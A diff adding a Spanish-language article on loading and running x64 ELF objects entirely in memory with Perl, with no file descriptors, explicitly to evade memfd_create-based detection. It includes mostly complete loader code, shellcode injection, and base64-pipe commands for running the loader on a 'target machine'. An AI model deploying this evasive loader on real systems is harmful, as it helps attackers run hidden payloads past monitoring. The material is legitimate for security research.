diff --git a/3/es/10.html b/3/es/10.html new file mode 100644 index 0000000..87fe2cc --- /dev/null +++ b/3/es/10.html @@ -0,0 +1,1349 @@ + + +in-memory-only fd-less ELF execution (with Perl) + + + + +
+                                                       ┌───────────────────────┐
+                                                       ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                       │ █   █ █ █ █   █       │
+                                                       │ █   █ █ █ █▀▀▀▀       │
+                                                       │ █   █   █ █     ▄     │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄   ▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                   █   │
+in-memory-only fd-less ELF execution (with Perl)       │                   █   │
+~ isra _replace_this_by_@ fastmail.net                 └───────────────────█ ──┘
+
+====[ motivación ]==============================================================
+
+Los enfoques actuales para ejecución de ELFs solo-en-memoria[1] usan típicamente
+las llamadas de sistema memfd_create() y fexecve() que dependen de la existencia
+de descriptores de archivo en el sistema de ficheros /proc. Este comportamiento
+puede ser monitoreado y detectado sin mucho esfuerzo[2]. Por lo tanto, surgen
+las siguientes preguntas:
+
+ ¿Es posible conseguir ejecución de ELFs solo-en-memoria sin usar descriptores
+ de archivo?
+
+ De ser así, ¿se puede conseguir utilizando herramientas por defecto de una
+ distribución Linux (i.e. sin instalar paquetes adicionales)?
+
+La respuesta es sí, gracias a módulos estándar de Perl y un poco de peek & poke.
+
+Este artículo describe la implementación de exec_elf64.pl, un script para
+ejecución de ELFs solo-en-memoria sin tocar el sistema de ficheros. Este enfoque
+considera lo siguiente:
+
+ - El contenido binario del ELF va incrustado ("hardcoded") en el código fuente
+   del script.
+
+ - El objeto ELF es procesado y cargado en memoria.
+
+ - El proceso de cargado en memoria soporta reubicaciones ("relocations") y el
+   uso de símbolos externos desde objetos compartidos. En este caso los símbolos
+   externos son cargados desde glibc.
+
+ - Soporta ELFs x64.
+
+ - El script está escrito en Perl, un lenguaje interpretado disponible por
+   defecto en la mayoría de distribuciones Linux x64. Se requiere la versión
+   de Perl 5.008001 o superior.
+
+El código fuente puede ser encontrado en:
+
+    https://git.sr.ht/~hckng/elf/tree/master/item/exec_elf64.pl
+    https://github.com/ilv/elf/blob/main/exec_elf64.pl
+
+
+====[ preliminares  ]===========================================================
+
+Los pasos para cargar y ejecutar un ELF en memoria pueden ser resumidos como
+sigue:
+
+ 1) Leer el contenido del ELF.
+ 2) Procesar las cabeceras ELF (secciones, segmentos, etc).
+ 3) Usar la información obtenida de las cabeceras para mapear el código y datos
+    del ELF en memoria.
+ 4) Aplicar reubicaciones (incluyendo símbolos externos).
+ 5) Ejecutar las funciones mapeadas del ELF.
+
+Cada uno de estos pasos será descrito en las siguientes secciones considerando
+el siguiente objeto ELF:
+
+------------------------------ START obj.c -------------------------------------
+ #include <stdio.h>
+
+ void print_japh(void) {
+     putchar('j');
+     putchar('a');
+     putchar('p');
+     putchar('h');
+     putchar('\n');
+ }
+
+ int main(void) {
+     char *str = "i am an elf";
+
+     printf("%s\n", str);
+     print_japh();
+
+     return 0;
+ }
+------------------------------- END obj.c --------------------------------------
+
+ $ gcc -c obj.c
+ $ file obj.o
+ obj.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
+
+
+====[ parte 1: leer el ELF ]====================================================
+
+El enfoque usual para abrir un fichero y realizar operaciones E/S (tales como
+leer, escribir, etc.) considera el uso de una ruta hacia un archivo existente
+en el sistema de ficheros o el uso de un descriptor de archivo, que en algunos
+casos puede representar un fichero solo-en-memoria[1] o "anónimo". Estas
+opciones requieren interacción con el sistema de ficheros regular y el sistema
+de ficheros proc, respectivamente.
+
+Sin embargo, Perl provee un método alternativo para abrir un "filehandle"
+utilizando una referencia a una variable escalar en vez de un nombre de archivo.
+Por ejemplo:
+
+--------------------------------------------------------------------------------
+my $buff;
+my $str = "hola mundo";
+
+open my $fh, '<', \$str;
+read $fh, $buff, 5;
+close $fh;
+
+print "content read: $buff\n";
+--------------------------------------------------------------------------------
+
+El código anterior crea un filehandle $fh utilizando una referencia a la cadena
+$str y lee 5 bytes en $buff mediante la función read(). Este método también
+puede ser utilizado para acceder al contenido de un objeto ELF desde una
+referencia a una cadena y realizar operaciones E/S sobre él. 
+
+En primer lugar, se define la subrutina read_elf() como sigue:
+
+--------------------------------------------------------------------------------
+ sub read_elf {
+     my $code = get_code();
+     open my $fh, '<:raw', \$code;
+
+     return ($code, $fh);
+ }
+--------------------------------------------------------------------------------
+
+Se retorna la cadena $code y el filehandle $fh dado que ambas serán utilizadas
+más adelante al procesar y mapear el objeto ELF. Para crear la cadena $code se
+utiliza el siguiente comando de una linea:
+
+ $ perl -e 'print"my \$code = \"\";\n";$/=\32;' \
+ -e 'print"\$code .= pack q/H*/, q/".(unpack"H*")."/;\n" while(<>)' ./obj.o
+
+El comando anterior genera una cadena $code con el contenido binario del objeto
+ELF. Así, la cadena $code puede ser include en la subrutina get_code(): 
+
+--------------------------------------------------------------------------------
+ sub get_code {
+     my $code = "";
+     $code .= pack q/H*/, q/7f454c460201010000000000[...]000000000000000000000/;
+     $code .= pack q/H*/, q/000000000000000018040000[...]40000000040000d000c00/;
+     $code .= pack q/H*/, q/554889e5bf6a000000e80000[...]f6000bf70000000e80000/;
+     $code .= pack q/H*/, q/0000bf68000000e800000000[...]00000e3554889e54883ec/;
+     [...]
+     [...]
+     $code .= pack q/H*/, q/000000000000000000000000[...]000006100000000000000/;
+     $code .= pack q/H*/, q/000000000000000001000000[...]000000000000000000/;
+     return $code;
+ }
+--------------------------------------------------------------------------------
+
+Para términos prácticos la subrutina get_code() se define al final del script
+exec_elf64.pl con el fin de facilitar el reemplazo de la cadena $code por una
+nueva.
+
+
+====[ parte 2: procesar el ELF ]================================================
+
+Perl no provee un módulo estándar para procesar ELFs, sin embargo, la función
+unpack() puede ser utilizada para extraer el contenido binario del ELF basado en
+un conjunto de plantillas de tipos de datos[3]:
+
+ - "C", un valor char sin signo (1 byte).
+ - "a", una cadena con datos binarios arbitrarios (1 byte).
+ - "x", un byte nulo.
+ - "S", un valor short sin signo (2 bytes).
+ - "i", un valor entero con signo (4 bytes).
+ - "I", un valor entero sin signo (4 bytes).
+ - "q", un valor quad con signo (8 bytes).
+ - "Q", un valor quad sin signo (8 bytes).
+
+La cabecera ELF, la tabla de cabeceras de sección, la tabla de símbolos, la 
+tabla de cadenas y las reubicaciones son procesadas principalmente en base a las
+especificaciones de referencia de Linux[4][5][6][7] y la lógica implementada en
+el script readelf.pl[8].
+
+En este trabajo dos subrutinas auxiliares ru() y mk_hash() son definidas para
+leer/desempaquetar y crear hashes asociados a las cabeceras procesadas,
+respectivamente. Así, la cabecera ELF inicial es leída y procesada como sigue
+(usando los campos definidos en @e_keys):
+
+--------------------------------------------------------------------------------
+# elf header keys
+my @e_keys = (
+    'ei_mag0', 'ei_mag1', 'ei_mag2', 'ei_mag3', 'ei_class', 'ei_data',
+    'ei_version', 'ei_osabi', 'ei_abiversion', #ei_pad ignored
+    'e_type', 'e_machine', 'e_version', 'e_entry', 'e_phoff', 'e_shoff',
+    'e_flags', 'e_ehsize', 'e_phentsize', 'e_phnum', 'e_shentsize', 'e_shnum',
+    'e_shstrndx'
+);
+
+[...]
+
+sub parse_ehdr {
+    my @hdr = ru($efh, "C a a a C C C C C x7 S S I q q q I S S S S S S", 0x40);
+    mk_hash(\%ehdr, \@e_keys, \@hdr);
+}
+--------------------------------------------------------------------------------
+
+En este caso la cabecera ELF es almacenada en %ehdr y sus valores pueden ser
+accedidos utilizando los campos respectivos (e.g. $ehdr{'ei_mag0'}).
+
+La tabla de cabeceras de programa no es utilizada durante el procesamiento del
+ELF y posterior mapeo por lo que es ignorada. La tabla de cabeceras de sección
+es leída y procesada como sigue:
+
+--------------------------------------------------------------------------------
+ sub parse_shtab {
+     seek $efh, $ehdr{'e_shoff'}, 0;
+     for (my $i = 0; $i < $ehdr{'e_shnum'}; $i++) {
+         my %sh;
+         my @hdr = ru($efh, "I I q q q q I I q q", $ehdr{'e_shentsize'});
+         mk_hash(\%sh, \@sh_keys, \@hdr);
+         push @shtab, \%sh;
+
+         # read content of section header entry of type 'STRTAB'
+         if($sh{'sh_type'} == 3) {
+             my $tmpstr;
+             my $curr_offset = tell $efh;
+             seek $efh, $sh{'sh_offset'}, 0;
+             read $efh, $tmpstr, $sh{'sh_size'};
+             seek $efh, $curr_offset, 0;
+             $strtab{$sh{'sh_offset'}} = $tmpstr;
+         }
+     }
+ }
+--------------------------------------------------------------------------------
+
+En el código anterior la tabla de cabeceras de sección está representada por el
+arreglo @shtab y sus entradas por hashes en base a los campos definidos en el
+arreglo @sh_keys.
+
+Adicionalmente, cuando se encuentra una entrada de cabecera de sección de tipo
+sh_type = 3 (STRTAB) se cambia el puntero del filehandle $efh a la posición
+sh_offset para leer el contenido de dicha entrada y almacenar su valor en
+%strtab, el hash que representa la tabla de cadenas. 
+
+La tabla de cabeceras de sección es procesada una segunda vez para obtener el
+nombre asociado a cada entrada en base al contenido de la tabla de cadenas. Los
+índices de las secciones text, data, symtab, rodata y rela.text en @shtab
+también son almacenados para posteriormente acceder de forma directa a dichas
+secciones.
+
+--------------------------------------------------------------------------------
+ sub secname {
+     my $ndx = shift;
+     my $str = shift;
+
+     my $s = substr($str, $ndx);
+     my $r = substr($s, 0, index($s, "\0"));
+ }
+
+ # parse section names from string table
+ sub parse_secnames {
+     my $shstrtab = $shtab[$ehdr{'e_shstrndx'}];
+     for(my $i = 0; $i < $ehdr{'e_shnum'}; $i++) {
+         my $name = secname(
+             $shtab[$i]{'sh_name'},
+             $strtab{$shstrtab->{'sh_offset'}}
+         );
+         # add 'name' to each section header entry
+         $shtab[$i]{'name'} = $name;
+
+         # save indexes for easier access to relevant segments
+         $text_ndx       = $i if($name eq '.text');
+         $data_ndx       = $i if($name eq '.data');
+         $symtab_ndx     = $i if($name eq '.symtab');
+         $rodata_ndx     = $i if($name eq '.rodata');
+         $relatext_ndx   = $i if($name eq '.rela.text');
+     }
+ }
+--------------------------------------------------------------------------------
+
+De forma similar, la tabla de símbolos es leída y procesada como sigue:
+
+--------------------------------------------------------------------------------
+ # parse symbol table
+ [...]
+ my $symtab      = $shtab[$symtab_ndx];
+ my $sh_link     = $shtab[$symtab->{'sh_link'}];
+ my $num_entry   = $symtab->{'sh_size'}/$symtab->{'sh_entsize'};
+ [...]
+ seek $efh, $symtab->{'sh_offset'}, 0;
+ for (my $i = 0; $i < $num_entry; $i++) {
+     my %sym;
+     my @hdr = ru($efh, "I C C S q q", $symtab->{'sh_entsize'});
+     mk_hash(\%sym, \@st_keys, \@hdr);
+
+     my $type = $sym{'st_info'} & 0x0f;
+     my $name = secname(
+         $sym{'st_name'},
+         $strtab{$sh_link->{'sh_offset'}}
+     );
+     # add 'name' to each symbol
+     $sym{'name'} = $name;
+     push @symtab, \%sym;
+
+     # save st_value of symbols of type 'FUNC'
+     $funcs{$name} = $sym{'st_value'} if($type == 2);
+ }
+--------------------------------------------------------------------------------
+
+La tabla de símbolos está representada por el arreglo @symtab y sus entradas
+por hashes en base a los campos definidos en el arreglo @st_keys, con un campo
+"name" adicional que contiene el nombre del símbolo obtenido desde la tabla de
+cadenas. Además, el hash %funcs es utilizado para almacenar el campo st_value
+de una función en base a su nombre.
+
+Las reubicaciones son leídas y procesadas de forma similar:
+
+--------------------------------------------------------------------------------
+ # parse relocations
+ my $rt = $shtab[$relatext_ndx];
+ my $entry_num = $rt->{'sh_size'}/$rt->{'sh_entsize'};
+ [..]
+ for (my $i = 0; $i < $entry_num; $i++) {
+     my %r;
+     my @hdr = ru($efh, "q Q i", $rt->{'sh_entsize'});
+     mk_hash(\%r, \@r_keys, \@hdr);
+
+     # 4 bytes on little endian order
+     my $sym_ndx = unpack("V", pack("N", $r{'r_info'} >> 8));
+     # low-order bits only
+     my $type = $r{'r_info'} & 0x0f;
+     my $sym_name = $symtab[$sym_ndx]{'name'};
+     my $sym_shndx = $symtab[$sym_ndx]{'st_shndx'};
+
+     $r{'type'} = $type;
+     $r{'symndx'} = $sym_ndx;
+     push @relocs, \%r;
+
+     # save external symbols (st_shndx of type 'UND')
+     # the num_extsym counter is used later for lookup in a 'jump table'
+     $extsym{$sym_name} = $num_extsym++ if($sym_shndx == 0);
+ }
+--------------------------------------------------------------------------------
+
+En este caso las reubicaciones están representadas por el arreglo @relocs y sus
+entradas por hashes en base a los campos definidos en el arreglo @r_keys, con
+dos campos adicionales "type" y "symndx" que representan el tipo de reubicación
+y el índice en la tabla de símbolos del símbolo asociado a dicha reubicación. El
+hash %extsym es utilizado también para mantener registro de la cantidad de
+símbolos externos y sus respectivos nombres.
+
+Finalmente, la subrutina parse_elf() queda como sigue:
+
+--------------------------------------------------------------------------------
+ sub parse_elf {
+     my $fh = shift;
+     $efh = $fh;
+
+     parse_ehdr();
+     parse_shtab();
+     parse_secnames();
+     parse_symtab();
+     parse_relocs();
+ }
+--------------------------------------------------------------------------------
+
+
+====[ parte 3: mapear el ELF ]==================================================
+
+La mayor parte del proceso de mapeo está basado en [9], que consiste básicamente
+en tres pasos:
+
+
+   i) Mapeo de memoria
+  ii) Copiar datos en el área mapeada
+ iii) Protecciones de acceso a memoria
+
+
+i) Mapeo de memoria
+
+El mapeo de memoria se lleva a cabo usando la función syscall() de Perl para 
+llamar a mmap:
+
+--------------------------------------------------------------------------------
+ my $ptr = syscall(9, $addr, $size, $protect, $flags, -1, 0);
+--------------------------------------------------------------------------------
+
+Donde:
+
+ - 9 es el número del sycall mmap en Linux x86_64.
+
+ - $addr es la dirección de inicio del nuevo mapeo. Si se indica el valor 0 mmap
+   escogerá una dirección y retornará su valor.
+
+ - $size es el tamaño del mapeo.
+
+ - $protect es un entero que indica la protección de memoria del mapeo. Los
+   posibles valores pueden ser revisados en [10]. En este caso se usa el valor
+   PROT_READ | PROT_WRITE = 3.
+
+ - $flags es un entero que indica la visibilidad de los cambios de mapeo y el
+   uso de ficheros. En este caso se usa el valor MAP_SHARED | MAP_ANONYMOUS = 33
+
+Los parámetros restantes están relacionados con mapeo asociado a archivos y
+pueden ser ignorados utilizando los valores -1 y 0.
+
+mmap retornará la dirección de inicio del área de memoria mapeada en caso de
+éxito y -1 en caso de error.
+
+
+ii) Copiar datos en el área mapeada
+
+A diferencia de mmap no existe llamada de sistema para copiar datos en memoria.
+Tampoco hay alguna función por defecto en Perl para copiar datos en bruto en
+memoria. Sin embargo, se pueden usar algunos trucos para conseguir lo anterior:
+peek & poke.
+
+El código utilizado para peek & poke proviene de [11], un script para inyección
+syscall/shellcode en OSX que permite copiar datos $bytes arbitrarios en una
+dirección de memoria $location.
+
+(NOTA: por simplicidad algunos comentarios y verificaciones en el código fueron
+eliminadas; los comentarios restantes son del autor original)
+
+--------------------------------------------------------------------------------
+sub _pack_address {
+  my $p = pack("Q", $_[0]);
+  return $p;
+}
+
+sub peek {
+  unpack "P$_[1]", _pack_address($_[0]);
+}
+
+sub poke {
+  my($location, $bytes) = @_;
+
+  my $len = length($bytes);
+  my $addr = _pack_address($location);
+
+  # construct a B::PV object, backed by a SV/SvPV to a dummy string
+  # length($bytes) long, and substitute $location as the actual string storage
+  # we specifically use the same length so we do not have to deal with resizing
+  my $dummy = 'X' x $len;
+  my $dummy_addr = \$dummy + 0;
+  my $ghost_sv_contents = peek($dummy_addr, 8 + 4 + 4 + $Config{ivsize});
+  substr( $ghost_sv_contents, 8 + 4 + 4, 8 ) = $addr;
+
+  my $ghost_string_ref = bless( \ unpack(
+    "Q",
+    # it is crucial to create a copy of $sv_contents, and work with a temporary
+    # memory location. Otherwise perl memory allocation will kick in and wreak
+    # considerable havoc culminating with an inevitable segfault
+    do { no warnings 'pack'; pack( 'P', $ghost_sv_contents.'' ) },
+  ), 'B::PV' )->object_2svref;
+
+  # now when we write to the newly created "string" we are actually writing
+  # to $location
+  eval 'substr($$ghost_string_ref, 0, $len) = $bytes';
+  return $len;
+}
+--------------------------------------------------------------------------------
+
+De forma resumida, poke() modifica tipos de datos internos de Perl para forzar
+la creación de una variable temporal que apunta a una cadena ubicada en 
+$location y luego cambia el contenido de la cadena con $bytes. Para un mejor
+entendimiento de como funciona poke() es necesario indagar en conceptos
+avanzados de Perl, lo que está fuera del alcance de este artículo. El lector
+puede revisar [12][13][19] para mayor información.
+
+
+iii) Protecciones de acceso a memoria
+
+De forma similar al mapeo de memoria, se utiliza la función syscall() para
+llamar a mprotect:
+
+--------------------------------------------------------------------------------
+ my $mp = syscall(10, $addr, $size, $protect);
+--------------------------------------------------------------------------------
+
+Donde:
+
+ - 10 es el número del sycall mprotect en Linux x86_64.
+
+ - $addr y $size definen el intervalo del área mapeada donde las protecciones
+   de acceso serán actualizadas.
+
+ - $protect es un entero que indica la protección de memoria[14] para el
+   intervalo especificado. En este caso se usan los valores
+   PROT_READ | PROT_EXEC = 5 y PROT_READ = 1.
+
+mprotect retornará 0 en caso de éxito y -1 en caso de error
+
+El proceso de mapeo puede entonces llevarse a cabo siguiendo los pasos descritos
+en [9]. Primero, el código del objeto ELF es mapeado y su contenido copiado en
+el área mapeada.
+
+--------------------------------------------------------------------------------
+ $base_ptr = mmap(0, length($code), 3, 33);
+ if($base_ptr == -1) {
+     print "Failed to allocate memory for ELF\n";
+     exit;
+ }
+
+ poke($base_ptr, $code, length($code));
+--------------------------------------------------------------------------------
+
+Luego, los segmentos text, data, y rodata son mapeados y copiados en memoria de
+forma contigua junto con una tabla "jump" auxiliar (descrita más adelante). Dado
+que la variable $code es una cadena que contiene los datos binarios del objeto
+ELF (según lo descrito en la parte 1), se puede obtener el contenido de cada
+segmento extrayendo una subcadena de $code en base a los valores sh_offset y
+sh_size.
+
+--------------------------------------------------------------------------------
+ my $text    = $shtab[$text_ndx];
+ my $data    = $shtab[$data_ndx];
+ my $rodata  = $shtab[$rodata_ndx];
+
+ my $jmptab_size = $num_extsym*14;
+
+ my $text_ptr = mmap(
+     0,
+     page_align($text->{'sh_size'}) +
+     page_align($data->{'sh_size'}) +
+     page_align($rodata->{'sh_size'}) +
+     page_align($jmptab_size),
+     3,
+     33
+ );
+
+ if ($text_ptr == -1) {
+     print "Failed to allocate memory for .text\n";
+     exit;
+ }
+
+ my $data_ptr   = $text_ptr + page_align($text->{'sh_size'});
+ my $rodata_ptr = $data_ptr + page_align($data->{'sh_size'});
+ my $jmptab_ptr = $rodata_ptr + page_align($rodata->{'sh_size'});
+
+ # copy segments into memory
+ poke(
+     $text_ptr,
+     substr($code, $text->{'sh_offset'}, $text->{'sh_size'})
+ );
+ poke(
+     $data_ptr,
+     substr($code, $data->{'sh_offset'}, $data->{'sh_size'})
+ );
+ poke(
+     $rodata_ptr,
+     substr($code, $rodata->{'sh_offset'}, $rodata->{'sh_size'})
+ );
+--------------------------------------------------------------------------------
+
+Luego de esto se aplican las reubicaciones y las protecciones de memoria son
+actualizadas para los segmentos text, rodata y la tabla jump.
+
+--------------------------------------------------------------------------------
+ do_relocs($text_ptr, $data_ptr, $rodata_ptr, $jmptab_ptr);
+
+ if(mprotect($text_ptr, $text->{'sh_size'}, 5) == -1) {
+     print "Failed to mprotect .text\n";
+     exit;
+ }
+
+ # check .rodata sh_size fist in case is not defined
+ if(exists $rodata->{'sh_size'}) {
+     if(mprotect($rodata_ptr, $rodata->{'sh_size'}, 1) == -1) {
+         print "Failed to mprotect .rodata\n";
+         exit;
+     }
+ }
+
+ if(mprotect($jmptab_ptr, $jmptab_size, 5) == -1) {
+     print "Failed to mprotect jump table\n";
+     exit;
+ }
+--------------------------------------------------------------------------------
+
+
+====[ parte 5: reubicaciones y símbolos externos ]=============================
+
+De forma similar al proceso de mapeo las reubicaciones se llevan a cabo
+siguiendo los pasos descritos en [15], que solo considera reubicaciones del
+tipo R_X86_64_PLT32 = 4 y R_X86_64_PC32 = 2 para los segmentos text, data y
+rodata. En este caso también se utiliza poke() para copiar las reubicaciones
+calculadas en la dirección original.
+
+--------------------------------------------------------------------------------
+ my $sym_ndx = $relocs[$i]{'symndx'};
+
+ [...]
+
+ my $patch_offset = $text_ptr + $relocs[$i]{'r_offset'};
+
+ $base_ptr = $text_ptr if($sec_name eq '.text');
+ $base_ptr = $data_ptr if($sec_name eq '.data');
+ $base_ptr = $rodata_ptr if($sec_name eq '.rodata');
+
+ $sym_addr = $base_ptr + $symtab[$sym_ndx]{'st_value'};
+
+ [...]
+
+ if($relocs[$i]{'type'} == 4 or $relocs[$i]{'type'} == 2) {
+     my $relo = $sym_addr + $relocs[$i]{'r_addend'} - $patch_offset;
+     # pack in little endian order (4 bytes)
+     $relo = pack("V", $relo);
+     # apply relocation by simply copying the calculated address
+     # into the patch offset address
+     poke($patch_offset, $relo, length($relo));
+ }
+--------------------------------------------------------------------------------
+
+Los símbolos externos, identificados con el valor st_shndx = 0 (UND), son
+procesados durante la reubicación siguiendo los pasos descritos en [16]. Para
+lograr lo anterior se implementa un PLT/GOT simplificado mediante el uso de una
+tabla "jump" auxiliar para resolver referencias externas. Cada entrada en la
+tabla jump contiene lo siguiente:
+
+ - La dirección del símbolo externo (8 bytes).
+ - Una instrucción jump fija "\xff\x25\xf2\xff\xff\xff" (6 bytes).
+
+Por simplicidad, la tabla jump se implementa mapeando N*14 bytes después del
+segmento rodata y cada entrada en la tabla jump comienza en la posición i*14,
+donde 'N' es el número de símbolos externos e 'i' es un valor entre 0 y N-1 que
+representa el i-ésimo símbolo externo encontrado durante el procesamiento del
+ELF.
+
+--------------------------------------------------------------------------------
+ sub map_elf {
+
+     [...]
+
+     my $jmptab_size = $num_extsym*14;
+
+     # map segments and 'jump table' next to each other
+     my $text_ptr = mmap(
+         0,
+         page_align($text->{'sh_size'}) +
+         page_align($data->{'sh_size'}) +
+         page_align($rodata->{'sh_size'}) +
+         page_align($jmptab_size),
+         3,
+         33
+     );
+
+     [...]
+
+     my $jmptab_ptr = $rodata_ptr + page_align($rodata->{'sh_size'});
+
+     [...]
+
+ }
+--------------------------------------------------------------------------------
+
+Dado que la tabla jump está suficientemente cerca en memoria al resto de las
+otras secciones, la reubicación para un símbolo externo debe ser calculada hacia
+la instrucción jump ubicada en su entrada de la tabla jump, que a su vez realiza
+un jump hacia atrás (-14 bytes) hasta el comienzo de la entrada donde está 
+almacenada la dirección real del símbolo externo.
+
+--------------------------------------------------------------------------------
+ my $sym_ndx = $relocs[$i]{'symndx'};
+
+ [...]
+
+ my $sym_name = $symtab[$sym_ndx]{'name'};
+
+ [...]
+
+ my $jmptab_ndx = $jmptab_ptr + ($extsym{$sym_name}*14);
+ $sym_addr = $jmptab_ndx + 8;
+--------------------------------------------------------------------------------
+
+La dirección de un símbolo externo puede ser obtenida utilizando el módulo Perl
+estándar DynaLoader que "Carga dinámicamente librerías C en código Perl"[17].
+En primer lugar se debe cargar una referencia de librería para buscar el símbolo
+con dl_load_file(). En este caso se utiliza el archivo .so de glibc:
+
+--------------------------------------------------------------------------------
+ my $libc_path = "/usr/lib/x86_64-linux-gnu/libc.so.6";
+ my $libref = DynaLoader::dl_load_file($libc_path, 0x01);
+--------------------------------------------------------------------------------
+
+La dirección del símbolo externo es buscada utilizando dl_find_symbol() con la
+referecia de librería y el nombre del símbolo como parámetros. La tabla jump se
+construye entonces empaquetando (packing) la dirección externa en orden "litte-
+endian" y añadiendo la instrucción jump. Finalmente la entrada de la tabla jump
+es copiada en memoria en la posición $jmptab_ndx calculada anteriormente. Luego
+de esto el proceso de reubicación se retoma utilizando $jmptab_ndx + 8 como la
+dirección del símbolo en la fórmula de reubicación.
+
+--------------------------------------------------------------------------------
+ my $jmptab_ndx = $jmptab_ptr + ($extsym{$sym_name}*14);
+ $sym_addr = $jmptab_ndx + 8;
+
+ [...]
+
+ my $ext_addr = DynaLoader::dl_find_symbol($libref, $sym_name);
+
+ # "V" format is 4 bytes; external address is 8 bytes
+ my ($p1, $p2) = unpack("V2", pack("Q", $ext_addr));
+ my $jmptab_entry = pack("V", $p1);
+ $jmptab_entry .= pack("V", $p2);
+ $jmptab_entry .= "\xff\x25\xf2\xff\xff\xff";
+
+ # update 'jump table' in memory
+ poke($jmptab_ndx, $jmptab_entry, length($jmptab_entry));
+
+ [...]
+ my $relo = $sym_addr + $relocs[$i]{'r_addend'} - $patch_offset;
+--------------------------------------------------------------------------------
+
+
+====[ parte 5: ejecutar el ELF ]================================================
+
+El módulo Perl estándar DynaLoader es utilizado nuevamente para lograr la
+ejecución de funciones mapeadas del ELF. Además de cargar librerías externas y
+encontrar símbolos, DynaLoader puede "instalar subrutinas externas" mediante la
+función dl_install_xsub():
+
+--------------------------------------------------------------------------------
+ my $ref = dl_install_xsub($perl_name, $symref [, $filename])
+--------------------------------------------------------------------------------
+
+Este método crea una nueva subrutina externa llamada $perl_name usando $symref
+como un puntero a la función que implementa dicha subrutina. En caso de éxito
+dl_install_xsub() retorna una referencia a la "función instalada". De acuerdo a
+la documentación de DynaLoader:
+
+"Se debe recalcar que DynaLoader, por sí mismo, es prácticamente inútil para 
+acceder librerías no-Perl ya que casi no provee "pegamento" Perl-hacia-C. Por
+ejemplo, no hay forma de llamar a una función de librería C o especificar
+argumentos".
+
+Sin embargo, es posible utilizar dl_install_xsub() especificando el st_value
+de una función mapeada del ELF como puntero y lograr su ejecución de forma
+exitosa.
+
+--------------------------------------------------------------------------------
+sub exec_func {
+    my $func_name   = shift;
+    my $text_ptr    = shift;
+    my $func_ptr    = $funcs{$func_name};
+
+    my $func = DynaLoader::dl_install_xsub(
+        "_japh", # not really used
+        $text_ptr + $func_ptr,
+        __FILE__ # no file
+    );
+
+    # dereference and execute
+    &{$func};
+}
+--------------------------------------------------------------------------------
+
+En este caso el nombre de la función a ser ejecutada es "main". Finalmente, la
+lógica principal del script puede ser resumida como sigue:
+
+--------------------------------------------------------------------------------
+my ($code, $fh) = read_elf();
+parse_elf($fh);
+my $text_ptr = map_elf($code);
+exec_func('main', $text_ptr);
+--------------------------------------------------------------------------------
+
+Y luego:
+
+ $ perl exec_elf64.pl
+ i am an elf
+ japh
+
+====[ aftermath  ]==============================================================
+
+Para lograr ejecución sin-fd de forma completa una opción es codificar el código
+fuente del script en base64 en una máquina remota, decodificarla en la máquina
+objetivo y luego hacer "pipe" al intérprete perl:
+
+ # on a remote host
+ $ cat exec_elf64.pl | base64 --wrap 0
+ IyEvdXNyL2Jpbi9wZXJsCgp1c2UgRHluYU[...........................................]
+ [.............................................................................]
+ [.............................................................................]
+ [.............................................................................]
+ ByZXR1cm4gJGNvZGU7Cn0=
+
+ # on the target machine
+ $ echo "IyEvdXNyL2Jpbi9wZX[...]ByZXR1cm4gJGNvZGU7Cn0=" | base64 -d | perl
+ i am an elf
+ japh
+
+
+Por otro lado, para facilitar las pruebas y debug del script con otros objetos
+ELF, la subrutina read_elf() puede ser adaptada para abrir archivos regulares
+como sigue:
+
+--------------------------------------------------------------------------------
+sub read_elf {
+    # uncomment below to open ELF as a regular file
+    my $in = pop (@ARGV);
+    my $code = "";
+
+    open my $fh, '<:raw', $in;
+    $code .= $_ while(<$fh>);
+    close $fh;
+
+    open my $fh, '<:raw', $in;
+
+    #my $code = get_code();
+    #open my $fh, '<:raw', \$code;
+
+    return ($code, $fh);
+}
+--------------------------------------------------------------------------------
+
+Por temas de completitud se realiza una prueba adicional con un ELF más
+elaborado, en este caso "self-mutating x86_64 C program"[18] que implementa
+código auto-cambiante para lanzar una shell /bin/sh:
+
+ $ gcc -c selfmut.c
+ $ ps o user,cmd
+ USER     CMD
+ isra     /bin/bash
+ isra     ps o user,cmd
+
+ $ perl exec_elf64.pl selfmut.o
+ Calling foo
+ i: 1
+ Calling foo
+ $ ps o user,cmd
+ USER     CMD
+ isra     /bin/bash
+ isra     /bin/sh
+ isra     ps o user,cmd
+
+
+====[ extra mile  ]=============================================================
+
+El script original para inyección syscall/shellcode en OSX[11] puede ser
+fácilmente adaptado para Linux x64 utilizando las subrutinas mmap() y mprotect()
+descritas en la parte 3, logrando ejecución de código ensamblador con el uso de
+DynaLoader y peek & poke.
+
+Para ello considerar el siguiente código:
+
+---------------------------- BEGIN code.s --------------------------------------
+BITS 64
+global _start
+section .text
+_start:
+    call main
+    db "i am a shellcode", 0xa, 0x0
+
+ main:
+    xor rax, rax
+    xor rdx, rdx
+    inc al
+    mov rdi, rax
+    pop rsi
+    mov dl, 17
+    syscall
+    xor rdx, rdx
+    mov rax, 60
+    syscall
+------------------------------- END code.s -------------------------------------
+
+ $ nasm -f elf64 code.s -o code.o
+ $ objdump -d code.o
+
+Luego, usando la representación hexadecimal de la sección text de code.o:
+
+--------------------------------------------------------------------------------
+my $code = "\xe8\x12\x00\x00\x00\x69\x20\x61\x6d\x20\x61\x20\x73\x68\x65\x6c";
+$code   .= "\x6c\x63\x6f\x64\x65\x0a\x00\x48\x31\xc0\x48\x31\xd2\xfe\xc0\x48";
+$code   .= "\x89\xc7\x5e\xb2\x11\x0f\x05\x48\x31\xd2\xb8\x3c\x00\x00\x00\x0f";
+$code   .= "\x05";
+
+my $p = mmap(0, length($code), 3, 33);
+if($p == -1) {
+  print "Couldn't mmap!\n";
+  exit;
+}
+
+poke($p, $code, length($code));
+
+if(mprotect($p, length($code), 5) == -1) {
+    print "Failed to mprotect\n";
+    exit;
+}
+my $func = DynaLoader::dl_install_xsub("_shell", $p, __FILE__);
+&{$func};
+------------------------------ END CODE ----------------------------------------
+
+ $ perl exec_asm.pl
+ i am a shellcode
+
+Esto también puede ser ejecutado sin-fd utilizando el enfoque mencionado
+anteriormente (codificación base64 y pipe).
+
+
+====[ referencias  ]============================================================
+
